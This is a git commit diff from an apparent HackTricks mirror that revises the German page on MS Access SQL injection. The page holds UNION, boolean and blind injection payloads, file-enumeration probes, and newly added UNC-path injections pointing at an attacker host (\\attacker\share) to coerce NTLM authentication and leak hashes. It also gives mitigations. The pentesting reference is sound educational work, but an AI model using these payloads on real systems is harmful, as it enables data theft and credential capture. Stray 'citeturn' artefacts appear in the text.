mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/sql-injection/ms-access-sql-injection.md
This commit is contained in:
parent
f8d704e717
commit
76fadc34af
@ -4,7 +4,7 @@
|
||||
|
||||
## Online Playground
|
||||
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
- [https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql_func_ms_format&ss=-1)
|
||||
|
||||
## DB Limitations
|
||||
|
||||
@ -35,13 +35,13 @@ Der **`LIMIT`** Operator **ist nicht implementiert**. Es ist jedoch möglich, di
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
Genau wie TOP kannst du **`LAST`** verwenden, um die **Zeilen vom Ende** zu erhalten.
|
||||
Genau wie TOP können Sie **`LAST`** verwenden, um die **Zeilen vom Ende** zu erhalten.
|
||||
|
||||
## UNION-Abfragen/Unterabfragen
|
||||
|
||||
In einer SQLi möchtest du normalerweise irgendwie eine neue Abfrage ausführen, um Informationen aus anderen Tabellen zu extrahieren. MS Access erfordert immer, dass in **Unterabfragen oder zusätzlichen Abfragen ein `FROM` angegeben wird**.\
|
||||
Wenn du also ein `UNION SELECT` oder `UNION ALL SELECT` oder ein `SELECT` in Klammern in einer Bedingung ausführen möchtest, musst du immer **ein `FROM` mit einem gültigen Tabellennamen angeben**.\
|
||||
Daher musst du einen **gültigen Tabellennamen** kennen.
|
||||
In einer SQLi möchten Sie normalerweise irgendwie eine neue Abfrage ausführen, um Informationen aus anderen Tabellen zu extrahieren. MS Access erfordert immer, dass in **Unterabfragen oder zusätzlichen Abfragen ein `FROM` angegeben wird**.\
|
||||
Wenn Sie also ein `UNION SELECT` oder `UNION ALL SELECT` oder ein `SELECT` in Klammern in einer Bedingung ausführen möchten, müssen Sie immer **ein `FROM` mit einem gültigen Tabellennamen angeben**.\
|
||||
Daher müssen Sie einen **gültigen Tabellennamen** kennen.
|
||||
```sql
|
||||
-1' UNION SELECT username,password from users%00
|
||||
```
|
||||
@ -56,13 +56,13 @@ Stellen Sie sich vor, Sie haben eine SQLi in einer MS Access-Datenbank und Sie w
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Wenn Sie den **Namen der Tabelle** und **Spalte** kennen, die Sie dumpen möchten, können Sie eine Kombination aus `Mid`, `LAST` und `TOP` verwenden, um **alle Informationen** über boolesche SQLi zu **leaken**:
|
||||
Wenn Sie den **Namen der Tabelle** und **Spalte** kennen, die Sie dumpen möchten, können Sie eine Kombination aus `Mid`, `LAST` und `TOP` verwenden, um **alle Informationen** über boolean SQLi zu **leaken**:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
_Fühlen Sie sich frei, dies im Online-Spielplatz zu überprüfen._
|
||||
|
||||
### Brute-Forcing von Tabellennamen
|
||||
### Brute-Forcing Tabellennamen
|
||||
|
||||
Mit der Technik des verknüpften Gleichheitszeichens können Sie auch **Tabellennamen bruteforcen** mit etwas wie:
|
||||
```sql
|
||||
@ -87,7 +87,7 @@ Oder mit einem **group by**:
|
||||
```sql
|
||||
-1' GROUP BY column_name%00
|
||||
```
|
||||
Oder Sie können die Spaltennamen einer **anderen Tabelle** mit Folgendem brute-forcen:
|
||||
Oder Sie können die Spaltennamen einer **anderen Tabelle** mit folgender Methode brute-forcen:
|
||||
```sql
|
||||
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
||||
|
||||
@ -99,18 +99,28 @@ Wir haben bereits die [**Chaining Equals Technik**](ms-access-sql-injection.md#c
|
||||
```sql
|
||||
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
||||
```
|
||||
In Kürze verwendet die Abfrage eine "if-then"-Anweisung, um im Erfolgsfall einen "200 OK" oder andernfalls einen "500 Internal Error" auszulösen. Durch die Nutzung des TOP 10-Operators ist es möglich, die ersten zehn Ergebnisse auszuwählen. Die anschließende Verwendung von LAST ermöglicht es, nur das 10. Tupel zu betrachten. Mit diesem Wert kann man unter Verwendung des MID-Operators einen einfachen Zeichenvergleich durchführen. Durch das ordnungsgemäße Ändern des Index von MID und TOP können wir den Inhalt des Feldes "username" für alle Zeilen dumpen.
|
||||
In einer Nussschale verwendet die Abfrage eine "if-then"-Anweisung, um im Erfolgsfall einen "200 OK" oder andernfalls einen "500 Internal Error" auszulösen. Durch die Nutzung des TOP 10-Operators ist es möglich, die ersten zehn Ergebnisse auszuwählen. Die anschließende Verwendung von LAST ermöglicht es, nur das 10. Tupel zu betrachten. Mit diesem Wert kann man unter Verwendung des MID-Operators einen einfachen Zeichenvergleich durchführen. Durch das ordnungsgemäße Ändern des Index von MID und TOP können wir den Inhalt des Feldes "username" für alle Zeilen dumpen.
|
||||
|
||||
### Zeitbasiert
|
||||
### Zeitbasierte (Blind) Tricks
|
||||
|
||||
Check [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](<https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN>)
|
||||
Jet/ACE SQL selbst bietet **keine** native `SLEEP()`- oder `WAITFOR`-Funktion, sodass traditionelle zeitbasierte Blind-Injektionen eingeschränkt sind. Sie können jedoch immer noch eine messbare Verzögerung einführen, indem Sie die Engine zwingen, auf eine **Netzwerkressource zuzugreifen, die langsam ist oder nicht antwortet**. Da die Engine versucht, die Datei zu öffnen, bevor sie das Ergebnis zurückgibt, spiegelt die HTTP-Antwortzeit die Hin- und Rücklatenz zur vom Angreifer kontrollierten Host wider.
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
Zeigen Sie den UNC-Pfad auf:
|
||||
|
||||
* ein SMB-Share hinter einer Hochlatency-Verbindung
|
||||
* einen Host, der das TCP-Handshake nach `SYN-ACK` abbricht
|
||||
* ein Firewall-Sinkhole
|
||||
|
||||
Die zusätzlichen Sekunden, die durch die Remote-Abfrage eingeführt werden, können als **out-of-band Timing-Oracle** für boolesche Bedingungen verwendet werden (z. B. wählen Sie einen langsamen Pfad nur, wenn die injizierte Bedingung wahr ist). Microsoft dokumentiert das Verhalten der Remote-Datenbank und den zugehörigen Registry-Kill-Switch in KB5002984. citeturn1search0
|
||||
|
||||
### Andere interessante Funktionen
|
||||
|
||||
- `Mid('admin',1,1)` erhält Teilzeichenfolge von Position 1 Länge 1 (Startposition ist 1)
|
||||
- `LEN('1234')` erhält die Länge der Zeichenfolge
|
||||
- `Mid('admin',1,1)` erhält Teilstring von Position 1 Länge 1 (Startposition ist 1)
|
||||
- `LEN('1234')` erhält die Länge des Strings
|
||||
- `ASC('A')` erhält den ASCII-Wert des Zeichens
|
||||
- `CHR(65)` erhält die Zeichenfolge aus dem ASCII-Wert
|
||||
- `CHR(65)` erhält den String aus dem ASCII-Wert
|
||||
- `IIF(1=1,'a','b')` wenn dann
|
||||
- `COUNT(*)` Zählt die Anzahl der Elemente
|
||||
|
||||
@ -130,38 +140,71 @@ Es ist jedoch zu beachten, dass es sehr typisch ist, SQL-Injection zu finden, wo
|
||||
|
||||
## Dateisystemzugriff
|
||||
|
||||
### Vollständiger Pfad des Web-Stammverzeichnisses
|
||||
### Vollständiger Pfad zum Webstammverzeichnis
|
||||
|
||||
Das Wissen um den **absoluten Pfad des Web-Stammverzeichnisses kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen.
|
||||
Das Wissen um den **absoluten Pfad des Webstamms kann weitere Angriffe erleichtern**. Wenn Anwendungsfehler nicht vollständig verborgen sind, kann der Verzeichnispfad aufgedeckt werden, indem versucht wird, Daten aus einer nicht vorhandenen Datenbank auszuwählen.
|
||||
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
MS Access antwortet mit einer **Fehlermeldung, die den vollständigen Pfad des Web-Verzeichnisses enthält**.
|
||||
MS Access antwortet mit einer **Fehlermeldung, die den vollständigen Pfad des Webverzeichnisses enthält**.
|
||||
|
||||
### Dateenumeration
|
||||
|
||||
Der folgende Angriffsvektor kann verwendet werden, um **die Existenz einer Datei im Remote-Dateisystem zu erschließen**. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die informiert, dass das Datenbankformat ungültig ist:
|
||||
Der folgende Angriffsvektor kann verwendet werden, um **die Existenz einer Datei im entfernten Dateisystem zu erschließen**. Wenn die angegebene Datei existiert, löst MS Access eine Fehlermeldung aus, die informiert, dass das Datenbankformat ungültig ist:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
||||
|
||||
Eine weitere Möglichkeit zur Auflistung von Dateien besteht darin, **ein Datenbank.tabelle-Element anzugeben**. **Wenn** die angegebene **Datei existiert**, zeigt MS Access eine **Fehlermeldung zum Datenbankformat** an.
|
||||
Eine andere Möglichkeit, Dateien zu enumerieren, besteht darin, **ein Datenbank.tabellen-Element anzugeben**. **Wenn** die angegebene **Datei existiert**, zeigt MS Access eine **Fehlermeldung zum Datenbankformat** an.
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
||||
|
||||
### .mdb-Dateinamenraten
|
||||
### .mdb Dateinamenraten
|
||||
|
||||
**Der Datenbankdateiname (.mdb)** kann mit der folgenden Abfrage erschlossen werden:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
Dabei ist **name\[i] ein .mdb-Dateiname** und **realTable eine existierende Tabelle** innerhalb der Datenbank. Obwohl MS Access immer eine Fehlermeldung auslöst, ist es möglich, zwischen einem ungültigen Dateinamen und einem gültigen .mdb-Dateinamen zu unterscheiden.
|
||||
Dabei ist **name[i] ein .mdb-Dateiname** und **realTable eine existierende Tabelle** innerhalb der Datenbank. Obwohl MS Access immer eine Fehlermeldung auslöst, ist es möglich, zwischen einem ungültigen Dateinamen und einem gültigen .mdb-Dateinamen zu unterscheiden.
|
||||
|
||||
### Remote-Datenbankzugriff & NTLM-Anmeldeinformationen-Diebstahl (2023)
|
||||
|
||||
Seit Jet 4.0 kann jede Abfrage auf eine Tabelle in einer *anderen* `.mdb/.accdb`-Datei über die Klausel `IN '<path>'` verweisen:
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
Wenn Benutzereingaben in den Teil nach **IN** (oder in einen `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE`-Aufruf) verkettet werden, kann ein Angreifer einen **UNC-Pfad** angeben, der auf einen von ihm kontrollierten Host zeigt. Die Engine wird:
|
||||
|
||||
1. versuchen, sich über SMB / HTTP zu authentifizieren, um die entfernte Datenbank zu öffnen;
|
||||
2. die **NTLM-Anmeldeinformationen** des Webservers leaken (erzwungene Authentifizierung);
|
||||
3. die entfernte Datei parsen – eine fehlerhafte oder bösartige Datenbank kann Jet/ACE-Speicherbeschädigungsfehler auslösen, die mehrfach gepatcht wurden (z. B. CVE-2021-28455).
|
||||
|
||||
Praktisches Injektionsbeispiel:
|
||||
```sql
|
||||
1' UNION SELECT TOP 1 name
|
||||
FROM MSysObjects
|
||||
IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Impact:
|
||||
|
||||
* Out-of-band Exfiltration von Net-NTLMv2-Hashes (verwendbar für Relay oder Offline-Cracking).
|
||||
* Potenzielle Remote-Code-Ausführung, wenn ein neuer Jet/ACE-Parser-Bug ausgenutzt wird.
|
||||
|
||||
Mitigationen (empfohlen, auch für Legacy Classic ASP-Apps):
|
||||
|
||||
* Fügen Sie den Registrierungswert `AllowQueryRemoteTables = 0` unter `HKLM\Software\Microsoft\Jet\4.0\Engines` (und unter dem entsprechenden ACE-Pfad) hinzu. Dies zwingt Jet/ACE, Remote-Pfade, die mit `\\` beginnen, abzulehnen.
|
||||
* Blockieren Sie ausgehendes SMB/WebDAV an der Netzwerkgrenze.
|
||||
* Sanitieren / parameterisieren Sie jeden Teil einer Abfrage, der in einer `IN`-Klausel enden könnte.
|
||||
|
||||
Der Zwangs-Authentifizierungsvektor wurde 2023 von Check Point Research erneut untersucht und bewiesen, dass er auf vollständig gepatchten Windows-Servern weiterhin ausnutzbar ist, wenn der Registrierungswert fehlt. citeturn0search0
|
||||
|
||||
### .mdb Passwort-Cracker
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) ist ein kostenloses Dienstprogramm, das verwendet werden kann, um das Hauptdatenbankpasswort von Microsoft Access 95/97/2000/XP oder Jet Database Engine 3.0/4.0 wiederherzustellen.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – Konfigurieren von Jet/ACE zum Blockieren von Remote-Tabellen](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – Missbrauch von Microsoft Access verknüpften Tabellen für NTLM-Zwangs-Authentifizierung (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user